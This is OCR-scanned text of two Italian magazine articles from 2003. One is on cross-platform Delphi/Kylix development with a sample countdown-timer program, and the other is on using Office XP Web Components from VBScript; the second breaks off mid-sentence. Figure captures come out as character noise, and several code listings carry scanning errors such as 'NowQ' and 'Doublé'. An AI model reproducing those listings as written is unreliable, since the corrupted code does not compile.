Descrizione delle opzioni
di progetto
Opzioni di progetto di default
■kof (Kylix)
.pas
.dpk
.dfm (VCL)
.xfm (CLX)
.dpr
■cfg (Delphi Win)
.conf (Kylix)
.dof (Delphi Win)
Nelle Fig. 3 e 4 vedete le cartelle dello stesso pro-
getto sotto Windows e Linux.
Location Eflit Vlew Go Bookmarts Tools
Q. Location: |t': file:Aoot/mmincier
*m t. m
E
•iy
-.ftHoot Director, g
ì
n
ìémì \tk*i
«
«Pi
,-9loot
-.'f\:\.;- Uir:<;
M?(i-"lrti-a'Ji:S
■.■.'.■■■ ■ ■ . ■
vl.ìMìiiiìh-.-Ti.:
M%inuriit-xfiTi
a
il,
j
<Q
«0 tì
y
y
• -gì»
■S «.round
■ÉS.i.c
a-S-t
■Sopt
aiìprra
=-%ooi
+ ^Desktop
i
■H»io
H'%tap
B-Su.r
F5
• 14 Ite iti s
14 Flles (565.
KB Total)- Directorles
rF
Fig. 4: I file del progetto Reminder sotto Linux.
COME SCRIVERE
APPLICAZIONI PORTABILI
Sarebbe fuorviante non tenere conto di alcune
difficoltà intrinseche allo sviluppo cross-plat-
form che per quanto possano venirci incontro i
tool della Borland, vanno comunque affrontate e
gestite.
Saltano subito all'occhio le differenze tra i due
sistemi operativi che possono comportare delle
necessità di aggiustamento a livello anche del
codice di programmazione. Innanzitutto i file
system utilizzati (NTFS o FAT32 da un lato, e
EXT2 o EXT3 dall'altro) sono profondamente
dissimili, sia nell'indirizzamento dei file (ad
esempio confronta c:\directory\file.ext per Win-
dows con Itmpl directory lf ile. ext sotto Linux) che
nei criteri di protezione delle varie risorse: l'ac-
cesso ai file sotto Linux è basato su una masche-
ra di permessi a 9 bit che distingue l'utilizzo in
lettura, scrittura ed esecuzione per il proprieta-
rio del file, il gruppo del proprietario e tutti gli
altri, mentre si sa che sotto Windows, con tecno-
logia NT, i permessi di accesso al file system so-
no molto più complessi e granulari. Come pote-
te immaginare, di questo bisogna tenere conto
quando nel proprio codice si fa riferimento a dei
file del sistema operativo e risulta quindi neces-
sario avvalersi da un lato delle direttive di com-
pilazione l$IFDEFj per biforcare gli statement
che si riferiscono a nomi di file o cartelle e dal-
l'altro lato delle variabili presenti in Syslltils per
creare nomi di file corretti a seconda del sistema.
Linux e Windows differiscono anche sensibil-
mente nel modo in cui vengono gestite le strin-
ghe Unicode.
Mentre per la Microsoft Unicode e le stringe
MBCS arrivano al massimo a due byte (UTF-16),
il sistema operativo open-source supporta carat-
teri Unicode fino ad un massimo di addirittura 6
byte, e la definizione di WideChar tra i due siste-
mi è diversa, perché per Windows si tratta di
64 ► ► ► M a g g i
3
http: //www. itport al.it
UTF-16 (2 byte), mentre Linux preferisce UTF-32
(4 byte). Va anche sottolineato, però, che le rou-
tine di gestione delle stringhe messe a disposi-
zione dal BaseCLX ci sollevano da buona parte
di questi pensieri: resta importante conoscere
queste differenze per quando si lavora con le
stringhe a basso livello, ma per lo più su questo
fronte non si dovrebbe incappare in grosse diffi-
coltà.
In seguito, dovremo tenere in considerazione i
diversi modi in cui viene concepito il codice riu-
tilizzabile nella forma di librerie dinamiche da
parte dei due sistemi operativi. Quelli che sotto
Windows sono i Ali, per Linux si chiamano .so e,
sebbene la loro funzione e la logica che vi sta
dietro sia pressoché identica, quando ne fate uso
- di uno o dell'altro - vi troverete a dover mani-
polare un po' i vostri programmi per renderli di-
sponibili per la compilazione anche sotto la con-
troparte Kylix o Delphi.
Altri problemi possono sorgere a causa delle di-
verse tecnologie di componenti in uso sui due si-
stemi: tutta la parte DDE /COM/ ActiveX è com-
pletamente assente sui PC con Linux, per cui se
ne dovrà fare a meno del tutto e trovare soluzio-
ni alternative anche sotto Windows. Da sottoli-
neare anche la mancanza dei componenti ADO
(ActiveX Data Objects) e la conseguenza indispo-
nibilità dei componenti di accesso ai dati ADO,
che la Borland aveva messo a disposizione con
Delphi: restano comunque a disposizione i com-
ponenti dbExpress e tutti gli altri oggetti per l'ac-
cesso semplificato a fonti dati SQL. A livello di
gestione dei protocolli di rete, invece, la diffe-
renza sta nella tipologia di socket utilizzati:
Windows utilizza le API di WinSock mentre con
Linux si hanno a disposizione i socket BSD, ma
di fatto i due tipi si occupano delle stesse cose e
sono funzionalmente equivalenti.
Lato email, inoltre, non esiste sotto Linux la li-
breria MAPI (per la gestione appunto dei mes-
saggi di posta elettronica), ma ci si può servire
direttamente dei protocolli POP3 e SMTP. Come
ultima cosa, ricordiamo le differenze tra i siste-
mi di gestione degli eventi che esistono fra le
API di Windows e le librerie Qt utilizzate da
CLX. Le divergenze tra i due framework porta-
no a non poter determinare sempre, con certez-
za matematica, l'ordine in cui determinati even-
ti saranno gestiti e da chi, quindi, conviene sem-
pre provare su entrambe le piattaforme prima di
sentirsi sicuri del successo del proprio lavoro.
Purtroppo le differenze non sono terminate qui:
sviluppando progetti cross-platform incapperete
sicuramente in incongruenze, altre differenze,
problemi, bachi... ma con questo non voglio sco-
raggiarvi! Innanzitutto adesso vedremo un sem-
plice esempio in cui tutto funziona e fila liscio
come l'olio, e poi - anche in applicazioni più
complesse - con l'help online, un tocco di creati-
vità e tanta pazienza si può risolvere qualunque
problema.
UN'APPLICAZIONE
PORTABILE
Dopo questa panoramica sui vantaggi che lo svi-
luppo con Kylix e Delphi ci offre in termini di
creazione di applicazioni portabili e sulle diffi-
coltà che si possono incontrare, è giunto il mo-
mento di vedere un esempio pratico di un pro-
getto che compileremo sotto Linux e sotto Win-
dows. Si tratta di un programma molto semplice
con il quale si può creare un semplice timer con
conteggio alla rovescia (una specie di sveglia
con progress bar!).
Il reminder, così chiameremo la nostra applica-
zione, consta in un'unica finestra da cui si può
impostare l'ora a cui si desidera che il conteggio
termini. Si fa partire il timer con un click del pul-
sante, seguirà quindi l'attivazione di un control-
lo Timer che attiverà il conteggio; dopo aver vi-
sualizzato una serie di informazioni sul form e
attivato la progress bar che mostra graficamente
lo scorrere del tempo. Il codice dell'applicazione
è concentrato tutto nell'evento di click del pul-
ii click del pulsante di start
del timer
procedure TfrmReminder,btnStartClick(Sender: TObject);
begin
{ Recupera l'ora attuale e l'ora della sveglia }
tmStart := NowQ;
tmEnd := StrToDateTime(edtTime.Text);
if tmEnd < 1 then
begin
tmEnd := tmEnd + DateQ;
end;
{ Calcola il numero di secondi da attendere }
totalTime := (tmEnd - tmStart) * 86400;
{ Imposta la progress bar }
progTimer.Min
progTimer.Max := Floor(totalTime);
progTimer.Step := 1;
{ Mostra le informazioni riassuntive }
IbIStart.Caption := 'Start Time: ' +
DateTimeToStr(tmStart);
IblEnd.Caption := 'End Time: ' +
DateTimeToStr(tmEnd);
IbITotal.Caption := 'TotalTime: ' +
IntToStr(Floor(totalTime)) + ' secs';
{ Attiva il timer }
tmrReminder.Enabled := True;
end;
Sistema
Delphi e Kylix
insieme per lo
sviluppo
cross-pia tform
DLL o SO
r-S, Quelli che sotto
<^/ Windows sono i
.d II, per Linux si chia-
mano .so e sebbene la
loro funzione e la logi-
ca che vi sta dietro sia
pressoché identica,
quando ne fate uso -
di uno o dell'altro - vi
troverete a dover ma-
nipolare un po' i vostri
programmi per render-
li disponibili per la
compilazione anche
sotto la controparte
Kylix o Delphi.
http: //www. itport al.it
g g
3 ►►► 65
m
Sistema
Delphi e Kylix
insieme per lo
sviluppo
cross- pia t foriti
Progress bar
/-a La gestione della
V,/ progress bar si ba-
sa sul fatto che una da-
ta in Object Pascal è un
doublé in cui l'intero (1)
è un giorno (86400 se-
condi), per cui imposto
il minimo e il massimo
del controllo di monito-
raggio del tempo, ri-
spettivamente su e
sul numero di secondi
che devono trascorrere
per raggiungere l'ora di
"sveglia". Ad ogni ese-
cuzione del timer se
non si è raggiunta l'ora
richiesta si fa avanzare
la progress bar di una
unità (un secondo), al-
trimenti viene mostrata
una message box di av-
vertimento, si interrom-
pe il timer, e viene re-
settata la progress bar.
sante. La gestione della progress bar si basa sul
fatto che una data in Object Pascal è un doublé
in cui l'intero (1) è un giorno (86400 secondi),
per cui imposto il minimo e il massimo del con-
trollo di monitoraggio del tempo, rispettiva-
mente su e sul numero di secondi che devono
trascorrere per raggiungere l'ora di "sveglia".
Ad ogni esecuzione del timer se non si è rag-
giunta l'ora richiesta si fa avanzare la progress
bar di una unità (un secondo), altrimenti viene
mostrata una message box di avvertimento, si
interrompe il timer, e viene resettata la progress
bar. Sebbene l'applicazione sia molto semplice, è
interessante vedere come tutto funzioni alla per-
fezione senza necessità di modificare una singo-
la virgola. Il tutto è stato sviluppato con Delphi
7 per Windows, successivamente si è copiato la
cartella del progetto sul PC con Linux, eseguen-
do senza problemi l'applicazione.
È stato necessario apportare alcune correzioni
con Kylix. Per concludere abbiamo effettuato la
prova del nove: anche sotto Delphi siamo riusci-
ti ad eseguire il codice corretto con Kylix senza
nessuna difficoltà. Nelle Fig. 5 e 6 potete osser-
vare la stessa applicazione compilata ed esegui-
ta sotto i due sistemi operativi supportati.
-** Reminder Application
nji£j
Start Time: 26/03/2003 00:13:36
End Time: 26/03/2003 00:1 6:00
Total Time: 143 secs
Time Elapsed: 1 1 Time Remaining: 1 32
III
Fig. 5: L'applicazione Reminder eseguita sotto
Windows
Ovviamente non sempre le cose andranno così
lisce come in questo caso, perché lavorando su
progetti più complessi è facile che si venga ad
aver a che fare con alcune delle caratteristiche
poco portabili e che si renda quindi necessario
studiare una qualche soluzione che comporti un
po' più di complessità e magari delle biforcazio-
SysUtils e il file system
Alcune costanti di SysUtils consentono di compor-
re dei nomi di file in maniera indipendente dal si-
stema di deployment: separate le cartelle in un
path con PathDelim (vale "\" per Windows e "/"
per Linux), separate più percorsi di file con Path-
Sep (";" in Windows e ":" in Linux) e infine utiliz-
zate DriveDelim per determinare come viene sepa-
rata la lettera del drive dal resto del path (":" sot-
to Windows e "" sotto Linux dato che non esistono
le lettere di drive).
Rem rider Time:
Start Time: 03/26/2003 02:46:56 AM
Enti Time: 03/26/2003 02:50:00 AM
Total Time: 1 63 secs
Time Elapsed: 26 Time Remaining: 1 57
■Hill
Fig. 6: La stessa applicazione Reminder sotto
Linux.
ni di codice tramite le direttive di compilazione.
Converrete comunque, che con Delphi & Kylix
abbiamo per le mani un ottimo strumento per
sviluppare sui due sistemi operativi più diffusi e
che per chi già lavora con Delphi, Kylix può ri-
verarsi un'opportunità imperdibile di avvicinar-
si alla programmazione Linux.
Federico Mestrone
Il codice del timer
(eseguito ogni 1 sec)
procedure TfrmReminder.tmrReminderTimer
(Sender: TObject);
var
elapsedTime: Doublé;
begin
{ Calcola il tempo trascorso in secondi }
elapsedTime := (NowQ - tmStart) * 86400;
if elapsedTime >= totalTime then
begin
{ Il timer è stato raggiunto }
tmrReminder.Enabled := False;
progTimer.Max := 100;
progTimer.Min := 0;
progTimer.Position := 100;
elapsedTime := totalTime;
Application. MessageBox('Agisci su questo
reminder!', 'Your Reminder');
end
else
begin
{ Timer non raggiunto - aggiorna la progress bar }
progTimer.StepItQ;
end;
{ Aggiorna la vista del form e il conteggio del tempo
trascorso e mancante }
progTimer.UpdateQ;
IblElapsed.Caption := 'Time Elapsed: ' +
IntToStr(Floor(elapsedTime)) + ' Time Remaining:
' + IntToStr(Floor(totalTime - elapsedTime));
end;
66**^ M a
g g
3
http: //www. itport al.it
<4-4-444-444-44-4-44-4<44-444-44-4-4 S
I componenti
s t e m a
WEB DI OFFICE XP
Office XP include un set di
controlli ActiveX in grado di
facilitare la creazione e la
gestione di pagine Web
professionali.
Microsoft Office XP Web Components (OWC)
è un set di controlli ActiveX disponibili al-
l'interno del CD di Office XP (owclO.msi) e
solitamente installati per default al momento della con-
figurazione di questa suite sul proprio PC. Attraverso
questi componenti è possibile pubblicare sul Web i pro-
pri progetti, siano essi fogli di calcolo, grafici, database,
ecc., offrendo a tutti gli utenti la possibilità d'interagire
con essi attraverso Microsoft Internet Explorer.
Quando realizziamo una pagina Web che include uno
o più istanze di questi componenti, un utente è in gra-
do d'interagire con i dati in essa contenuti inserendo
valori personali, modificando il layout di una tabella
pivot, visionando risultati automatici previsti da for-
mule preconfezionate, ecc. Naturalmente, occorre esse-
re in possesso della necessaria licenza d'uso di Office
XP prima di poterli sfruttare appieno (modalità interat-
tiva). In particolare e senza addentrarci troppo nei det-
tagli, chiunque possieda una licenza Office XP valida,
sarà in grado sia di visualizzare sia di modificare i dati
contenuti all'interno di una pagina Web. Inoltre, è bene
anche precisare che gli OWC sono supportati corretta-
mente da Internet Explorer 4.01 o superiore e che con
Netscape Navigator è possibile riscontrare diverse ano-
malie. Comunque sia, per chiunque avesse la necessità
di sfruttarli anche con quest'ultimo browser, sono di-
sponibili diversi plug-in di terze parti (non espressa-
mente riconosciuti da Microsoft) che consentono d'in-
terpretare correttamente questi componenti quando
presenti all'interno di una pagina Web.
Al momento della creazione di una pagina Web che do-
vrà contenere uno o più controlli OWC, è necessario
che l'autore della stessa abbia configurato tali compo-
nenti opportunamente. In particolare, occorre specifi-
care una cartella d'installazione ed un link al relativo
indirizzo nella pagina d'installazione dei componenti.
In questa maniera, quando un utente tenterà di aprirla
e qualora non li avesse disponibili sul proprio PC, gli
verrà mostrata a video un'opportuna finestra di avver-
timento che gli offre la possibilità di scaricarli diretta-
mente dal server di riferimento.
I controlli ActiveX facenti parte del pacchetto degli
OWC sono, in definitiva, i seguenti:
• Spreadsheet: questo controllo consente di gestire
un oggetto molto simile ad un foglio di lavoro di
Excel. Attraverso esso, un utente ha la possibilità
d'inserire valori personali, verificare risultati attra-
verso l'uso di formule preimpostate ed altro anco-
ra. Esso supporta anche il linguaggio XML che mi-
gliora il processo d'associazione dei dati con origi-
ni esterne quali, ad esempio, MS Access.
• Chart: questo controllo si occupa di mostrare a vi-
deo una descrizione grafica dei dati prelevati da
una fonte dati specificata, consentendo all'utente di
operare su di esso in maniera analoga a quanto si
faceva con i grafici di Excel.
• PivotTable: consente di effettuare operazioni di
raggruppamento dati alla stessa maniera offerta da
Excel. Sicuramente è avvantaggiato nell'uso chi già
utilizza questo oggetto all'interno dei propri fogli
di lavoro Excel.
• DataSource: consente di definire una fonte dati che
può essere sfruttata per collegare altri componenti
Web ad essa. La presenza di questo componente
migliora la connessione tra un qualunque database
supportato ed i restanti componenti presenti all'in-
terno della pagina Web. La tecnologia utilizzata è
ADO (Microsoft Active Data Objects) e consente di
stabilire le connessioni con database relazionali (co-
me Microsoft Access e Microsoft SQL Server).
Per la connessione a dati multidimensionali, inve-
ce, è sfruttato Microsoft Decision Support Server
(DCUBE).
Solo per maggiore chiarezza, è importante ricordare
che il pacchetto degli Office XP Web Components non
rappresenta affatto un set di controlli rilasciato per la
prima volta con questa versione di Office. Infatti, anche
Office 2000 comprendeva una prima release degli
OWC, anche se la versione presente in XP introduce di-
verse novità interessanti, prima fra tutte un'estensione
del modello ad oggetti esposto da ciascun controllo.
UTILIZZARE VBSCRIPT
Come qualunque altro controllo ActiveX, anche quelli
presenti nel pacchetto degli OWC possono essere sfrut-
Sistema
Nuove
Funzioni
r-s Con la nuova ver-
O' sione degli OWC,
al modello di oggetto di
Visual Basic sono state
apportate diverse mo-
difiche. Il principale
scopo è quello di sup-
portare le nuove fun-
zioni dell'applicazione
e quelle migliorate. Per
ottenere maggiori
informazioni a riguardo
ed essere costante-
mente aggiornati sul-
l'argomento, è molto
utile il link Internet
Web Office Developer
Center di MSDN Online.
Qui potrete trovare va-
rie informazioni tecni-
che, prodotti da scari-
care, esempi, ecc.
http ://www.itport al.it
g g
3 ► ►►67
m
Sistema
I componenti
Web di Office XP
Eventi
ContextMenu
/-a L'evento Before-
■*w ContextMenu, ap-
plicabile a ciascuno dei
componenti OWC (Chart,
Spreadsheet e PivotTa-
ble), si verifica prima
delle visualizzazione di
un menu di scelta rapida.
Ecco la sintassi per la di-
chiarazione della routine
d'evento: Private Sub
Oggetto_BeforeContext-
Menu(ByVal x As Long,
ByVal y As Long, ByVal
Menu As Byref, ByVal
Cancel As ByRef).
In particolare:
x: coordinata x in corri-
spondenza della quale
deve essere visualizza-
to il menu di scelta ra-
pida.
y: coordinata y in corri-
spondenza della quale
deve essere visualizza-
to il menu di scelta ra-
pida.
MENU: imposta la pro-
prietà Value di questo
oggetto su una matrice
contenente le voci di
menu da visualizzare.
CANCEL: imposta la
proprietà Value del-
l'oggetto su True per
annullare la sequenza
di tasti.
tati in maniera analoga all'interno dei propri program-
mi. In particolare, è consentito interfacciarsi ad essi at-
traverso diversi linguaggi di programmazione tra i
quali ovviamente Visual Basic, JavaScript e VBScript.
Naturalmente, la scelta del linguaggio da utilizzare di-
pende dalle proprie conoscenze e dal tipo di applica-
zione che si vuol realizzare. Per gli esempi che segui-
ranno, si è supposto di utilizzare VBScript all'interno di
una pagina Web. Prima di vedere qualche esempio che
illustri alcuni modi di utilizzare questi componenti, è
opportuno premettere alcuni piccoli accorgimenti che
occorre tenere in considerazione durante la realizzazio-
ne dei nostri script. Questa piccola nota riguarda il mo-
do attraverso il quale VBScript riconosce ed interpreta
le costanti con nome all'interno di una routine. L'utiliz-
zo di costanti con nome, infatti, non è supportato da
VBScript ed una riga simile alla successiva, ad esem-
pio, non funziona correttamente:
Set valueAxis = ChartSpacel.Charts(0).Axes(
chAxisPositionLeft)
In realtà, VBScript interpreta la costante con nome
chAxisPositionLeft semplicemente come una variabile
non inizializzata. Questo fa sì che il suo valore venga
impostato sempre a zero, con le conseguenze che tutti
possiamo immaginare.
Per poter ovviare a questo "piccolo" inconveniente,
dunque, occorre apportare qualche modifica al codice
appena illustrato e precisamente:
Set e = ChartSpacel.Constants
Set valueAxis = ChartSpacel.Charts(0).Axes(
e. chAxisPositionLeft)
La proprietà Costants è una proprietà che può essere
applicata a qualunque oggetto di tipo ChartSpace, Data-
SourceControl, PivotTable o Spreadsheet e non fa altro che
restituire un array contenente tutte le costanti disponi-
bili nella libreria dei tipi degli OWC. Attraverso l'uti-
lizzo della sintassi Set <Nome variabile>=<Contai-
ner>.<Nome costante> siamo in grado di memorizzare
questa lista di valori, indirizzando il singolo elemento
attraverso la seconda riga mostrata nell'esempio prece-
dente. L'utilizzo di Costants non è affatto necessario in
linguaggi come Visual Basic ed anche se quest'ultimo
la supporta, la documentazione a corredo ne sconsiglia
l'uso per motivi di performance. Un'altra nota impor-
tante, che riguarda l'utilizzo di VBScript per la creazio-
ne delle proprie routine, è il modo nel quale esse ven-
gono dichiarate. In Visual Basic sappiamo tutti che l'u-
tilizzo delle parole chiave Private e ByVal consentono di
dichiarare routine di eventi. Purtroppo, questo metodo
non funziona in VBScript per almeno due motivi: le
due parole chiave precedenti non sono utilizzate ed
inoltre tutti gli argomenti vengono passati sempre co-
me Variant. Per ovviare a quest'altro inconveniente, la
soluzione è semplice: basta dichiarare le nostre routine
d'eventi utilizzando semplicemente il nome dell'even-
to ed i nomi di argomento. Di seguito ecco un sempli-
ce esempio che illustra come aggirare l'ostacolo:
Sub Chartl_MouseOver (Button, Shift, Target)
Si ricordi a questo proposito che alcuni editor di script,
tra cui MS Script Editor, non inseriscono alcun dato al-
l'interno dell'elenco degli argomenti al momento in cui
viene creata una routine di eventi. Questo significa che,
affinché l'esecuzione della routine vada a buon fine, è
necessario avvalersi del Visualizzatore oggetti oppure
della Guida in linea, inserendo quindi i dati corretti nel-
l'elenco degli argomenti.
LA CONNESSIONE AL DB
A questo punto non ci resta che vedere alcuni esempi
che danno un'idea di massima di come interagire con
questi componenti all'interno delle proprie pagine
Web. Ciascuno script è stato realizzato e provato ser-
vendosi di MS Script Editor incluso in Microsoft Front-
Page. Il primo problema da affrontare, quando si deci-
de di realizzare qualcosa con gli OWC, è certamente
quello di associare ad un qualunque componente istan-
ziato all'interno della nostra pagina Web, la corretta
fonte dati. Innanzitutto, occorre sottolineare che la con-
nessione tra un componente OWC ed un DB qualun-
que può essere effettuata in almeno due modi. La pri-
ma strada, quella probabilmente più semplice, consiste
nel servirsi del DataSource Control in fase di design fa-
cendo poi riferimento ad esso per "agganciare" la fon-
te dati al controllo voluto. Questa via è senza dubbio
più semplice rispetto a quella puramente "manuale": è
sufficiente posizionare un nuovo controllo DataSource
sulla pagina Web, modificarne le proprietà di connes-
sione e sfruttarle per "popolare" i restanti controlli. La
seconda via consiste invece nell'impostare, direttamen-
te da VBScript, la stringa di connessione al DB, magari
creando on-the-fly l'oggetto DataSource che ci occorre.
Le istruzioni successive mostrano un esempio di come
sia possibile realizzare il collegamento tra i dati pre-
senti all'interno della tabella Products del database
Northwind ed il controllo MyChartl:
Dim MyDSC
Set MyDSC = CreateObject("OWC10.DataSourceControl")
SourceDBPath = "C:\\Programmi\\Dati \\Northwind.mdb"
MyDSC. ConnectionString="Provider=Microsoft.Jet.OLEDB.4.
0; data source=" & SourceDBPath
MyDSC. RecordsetDefs.AddNew "select ProductID,
ProductName from Products Where
CategoryID=l", , "DatiCatl"
MyDSC. RecordsetDefs.AddNew "select ProductID,
ProductName from Products Where
CategoryID=l", , "DatiCat2"
set e = MyChartl. Constants
set MyChartl. DataSource = MyDSC
MyChartl. DataMember = "DatiCatl"
set e = MyChart2. Constants
68 ►►► M a g g
3
http ://www.itport al.it
set MyChart2.DataSource = MyDSC
MyChart2.DataMember = "DatiCat2"
Nell'esempio, sono mostrati soltanto alcuni dei para-
metri consentiti al momento della connessione (Provi-
der e Data Source), ma è possibile specificare anche al-
tre informazioni come utente e password, ad esempio.
Inizialmente è consigliabile servirsi dell'interfaccia of-
ferta dal componente su menzionato per impostare la
corretta stringa di connessione. Successivamente, per
chi non avesse già molta pratica con questo tipo di og-
getti, sarà molto più semplice gestire il tutto diretta-
mente da VBScript. Ora che abbiamo stabilito il colle-
gamento con il database Northivind.mdb, occorre però
specificare la tabella alla quale MyDSC dovrà fare rife-
rimento. Il metodo Add, applicato a Recordefs, si occupa
proprio di raggiungere questo scopo. RecordDefs, infat-
ti, rappresenta l'insieme di RecordDef (definizione di
Recordset) definiti per quel controllo. In particolare, il
primo parametro stabilisce la definizione del set di da-
ti da prelevare (l'istruzione SQL mostrata nell'esempio
seleziona tutti i record appartenenti alla tabella Pro-
ducts ed aventi Category pari ad 1 e 2 rispettivamente)
mentre l'ultimo associa un nome preciso al set di dati
ottenuto dall'istruzione SQL precedente. Nell'esempio
mostrato, sono stati definiti due set diversi di recordset,
DatiCatl e DatiCatl, ciascuno dei quali può essere uti-
lizzato in base alle esigenze. A questo punto, l'ultimo
passo è quello di specificare, per un qualunque con-
trollo prescelto tra quelli disponibili, la fonte dati appe-
na creata. Quest'ulteriore fase è completata servendosi
delle proprietà DataSource e DataMember del compo-
nente prescelto. La prima non fa altro che stabilire a
quale controllo DataSource riferirsi, mentre la seconda
imposta il corretto set di dati definito "all'interno" del-
l'oggetto MyDSC.
ALCUNI SCRIPT D'ESEMPIO
Il primo esempio mostra come realizzare un foglio
elettronico con dati preimpostati (ossia si è supposto
di avere un componente Spreadsheet di nome Spread-
sheet!, riempito con alcuni dati di prova in fase di de-
sign della nostra pagina Web) ed un grafico che varia
automaticamente al variare delle informazioni incluse
nel primo.
Ecco innanzitutto lo script che realizza tutto ciò:
Dim e
Set c=ChartSpacel.Constants
ChartSpacel.Charts.Add
Set ChartSpacel.DataSource=Spreadsheetl
ChartSpacel.HasChartSpaceTitle=True
ChartSpacel.HasChartSpacel_egend=True
' Tipo di grafico iniziale
ChartSpacel.Charts(0).Type = c.chChartTypeBar3D
' Nome delle serie.
ChartSpacel.Charts(0).SetData c.chDimSeriesNames,
c.chDataBound, "A2:A6"
Asse X.
ChartSpacel.Charts(0).SetData c.chDimCategories,
c.chDataBound, "B1:D1"
Asse Y.
ChartSpacel.Charts(0).SeriesCollection(0).SetData
c.chDimValues, c.chDataBound, "B2:D2"
ChartSpacel.Charts(0).SeriesCollection(l).SetData
c.chDimValues, c.chDataBound, "B3:D3"
ChartSpacel.Charts(0).SeriesCollection(2).SetData
c.chDimValues, c.chDataBound, "B4:D4"
ChartSpacel.Charts(0).SeriesCollection(3).SetData
c.chDimValues, c.chDataBound, "B5:D5"
ChartSpacel.Charts(0).SeriesCollection(4).SetData
c.chDimValues, c.chDataBound, "B6:D6"
Spreadsheet
H
1 >r)
* * e | * | *i - ìj - » 1
4
Dati
Datol
Dato2
Dato3
2
A
900
10
3
B
100
800
20
4
C
200
700
30
5
D
300
600
40
6
E
400
500
50
7
8
T i
\ Foalio3 " /
<i i >r
ChartSpacel
s
i n i m ^ i & i -
Fig. 1: Un esempio d'interazione tra un
componente Spreadsheet ed un componente Chart.
Tralasciando le istruzioni elementari come la visualiz-
zazione della legenda o del titolo, si vede chiaramente
che il legame tra il componente denominato Spread-
sheet! e il controllo ChartSpacel, è definito attraverso l'i-
struzione Set ChartSpacel. DataSource=Spreadsheetl.
A questo punto, stabilita quale debba essere la fonte
dati per il grafico, è necessario impostarne le proprietà
per una corretta visualizzazione. Naturalmente, occor-
re precisare che le istruzioni sopra elencate dipendono
necessariamente dal tipo di grafico che si vuole imple-
mentare (nell'esempio si è scelto il tipo Barre 3D). Una
volta deciso il layout del nostro oggetto, tutto quello
che la routine fa, è "semplicemente" determinare l'area
dati del foglio elettronico che costituirà rispettivamen-
te la serie principale, l'asse delle X e l'asse delle Y. Lo
Sistema
I componenti
Web di Office XP
Ó
Script di
connessione
Chiunque lo desi-
deri, può adattare
lo script utilizzando
fonti dati diverse da
quella utilizzata (ivi
compresa un foglio di
lavoro specifico di un
controllo Spreadsheet,
ad esempio), ma facen-
do bene attenzione,
però, a modificare op-
portunamente il listato
laddove necessario. Le
prime tre righe dell'e-
sempio sono piuttosto
banali da descrivere.
Esse non fanno altro
che specificare il per-
corso del DB a cui si sta
facendo riferimento,
creando nel contempo
un nuovo oggetto Data-
Source (MyDSC) a run-
time. La nuova istanza
di questo componente
ci servirà successiva-
mente come fonte dati
per i restanti controlli.
La stringa vera e pro-
pria di connessione è
così impostata attra-
verso la proprietà Con-
nectionString applicata
sempre al nuovo ogget-
to MyDSC.
http ://www.itport al.it
g g
3 ► ►►69
m
Sistema
I componenti
Web di Office XP
Termini
utilizzati
nell'esempio
/* • VIEW: rappre-
^J senta una visua-
lizzazione specifica re-
lativa ad un elenco Ta-
bella Pivot.
• PIVOTDATA: rappre-
senta i dati all'interno
di un elenco Tabella Pi-
vot.
• PIVOTFIELDSET: rap-
presenta un set di cam-
pi "bloccati" per forma-
re una gerarchia. Un
esempio concreto, pe-
raltro mostrato proprio
nell'help in linea offer-
to a corredo di questi
controlli, è quello di un
contesto geografico. In
tale situazione, campi
possono essere, ad
esempio, Continente,
Paese, Provincia e Cit-
tà. Normalmente, però,
un set di campi contie-
ne un solo campo se
l'origine dati è un set di
record.
• PIVOTFIELDSETS: è
l'insieme di oggetti di
tipo PivotFieldSet sul-
l'asse o nella visualiz-
zazione specificata.
stesso risultato poteva essere raggiunto, in maniera for-
se più semplice, anche servendosi dell'interfaccia offer-
ta da ciascun componente. Può anche essere interes-
sante migliorare le capacità intrinseche offerte dal no-
stro controllo, implementando una propria routine ri-
chiamabile direttamente attraverso la pressione del ta-
sto destro del mouse, accessibile cioè attraverso un'ap-
posita voce aggiunta al menu contestuale del nostro
componente.
Quello mostrato di seguito è un esempio applicato al-
l'oggetto Spreadsheet!:
Sub Spreadsheetl_BeforeContextMenu(x, y, Menu, Cancel)
Dìm CtxtMenu
CtxtMenu = Menu.Value
Numltems = UBound(CtxtMenu) + 2
Redim Preserve CtxtMenu(Numltems)
' Aggiungi una nuova voce di menu, separandola dalie restanti...
CtxtMenu(NumItems - 1) = Empty
CtxtMenu(NumItems ) = Array("Voce Menu", "Routine")
Menu.Value = CtxtMenu
End Sub
dove Voce Menu rappresenta la nuova voce richiamabi-
le dal menu contestuale di Spreadsheet!, mentre Routine
è il nome della procedura che si attiverà quando l'u-
tente seleziona tale voce. In particolare, può essere in-
teressante associare particolari azioni da applicare ai
dati presenti all'interno del foglio di lavoro, come l'or-
dinamento, ad esempio.
Ecco di seguito un esempio che illustra come imple-
mentare la corretta chiamata a Routine:
Sub Spreadsheetl_CommandExecute(Command, Succeeded)
If VarType(Command) = vbString Then
Select Case Command
Case "Voce Menu 1"
v Elenco azioni...
Case "Voce Menu 2"
v Elenco azioni...
End Select
End If
End Sub
IL COMPONENTE
PIVOTTABLE
Concludiamo questa breve panoramica sugli Office XP
Web Components parlando di un oggetto che, per cer-
ti aspetti, è forse più complesso da comprendere ri-
spetto ai precedenti: il componente PivotTable.
Il modello ad oggetti che contraddistingue questo con-
trollo è raffigurato in Fig. 2.
Di seguito è riportato un piccolo esempio che mostra
come realizzare un raggruppamento dati sfruttando
questo componente. L'esempio fa riferimento a dati
presenti all'interno di un DB Access denominato Pi-
PivotTable
lOCCommands
iPìvotData
HPivotView
iPivotDataAxis
1 PivotFieldSet
IPivotField
~ | Pi votMemberProperties
^PivotMembers
IPivotFields
ìPivotMember
^
PivotMembers
iPivotFieldSets
iPivotFilterAxis
HPivotFont
jPivotGroupAHis
iPivotLabel
JPivotTotal
^
PivotField
ìPivotMember
~ | Pi votMemberProperties
i PivotMembers
HPivotTotals
Fig. 2: Una porzione del modello ad oggetti del
componente PivotTable.
votDB.mdb e formato da una sola tabella di nome In-
ventario. La struttura di Inventario è semplice: è com-
posta da soli tre campi di nome rispettivamente Cate-
goria-Oggetto, Nome-Oggetto e Prezzo. Tramite questo
esempio, l'oggetto PivotTablel non fa altro che mostra-
re l'elenco dei prezzi di ciascun oggetto, suddivisi (rag-
gruppati) per Categoria-Oggetto e Nome-Oggetto, mo-
strando l'importo totale per ciascuna di queste catego-
rie. Ogni parte del listato è stata volutamente numera-
ta, in maniera tale da facilitare la comprensione delle
istruzioni che lo compongono. Il primo blocco di istru-
zioni imposta semplicemente alcuni attributi utili a mi-
gliorare la comprensione dei dati mostrati dalla tabella
pivot. I blocchi contrassegnati con (2) e (3), invece, si
